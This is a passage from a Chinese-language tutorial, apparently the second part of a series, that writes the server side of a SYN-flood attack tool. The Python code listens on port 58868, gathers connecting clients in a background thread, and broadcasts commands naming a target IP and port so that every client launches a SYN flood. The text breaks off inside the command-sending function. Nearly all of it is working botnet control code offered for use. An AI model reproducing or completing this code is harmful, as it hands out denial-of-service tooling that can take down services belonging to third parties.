四在第一篇学习了基础知识,本篇实现Server和Client的编码实现
Server端
由于Server端能等待Client主动连接,所以在Server端发送命令,控制Client端发起SYN泛洪攻击。
实现主函数的完整逻辑,在主函数中创建socket, 绑定所有网络地址和58868端口并开始监听,之后新开一个线程来等待客户端的连接,以免阻塞输入命令。
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 58868))
s.listen(1024)
t = Thread(target=waitConnect,args=(s,))
t.start()
print('Wait at least a client connection!')
while not len(socketList): #主函数中我们第一次输入命令之前需要至少有一个客户端连接到服务器
pass
print('It has been a client connection!')
while True: print('=' * 50)
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c "')
#等待输入命令
cmd_str = input('Please input cmd:')
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str) ##如果满足了,我们就把命令发送给所有客户端。
编写主函数中没有完成的子功能。 首先我们应该实现等待客户端的函数,方便开启新的线程。
#等待连接
def waitConnect(s):
while True:
sock,addr = s.accept()
if sock not in socketList: #新连接的socket要判断一下是否在socketList中已经存储过了,如果没有的话就添加到socketList中
socketList.append(sock)
#发送命令
def sendCmd(cmd):
print('Send command......')
for sock in so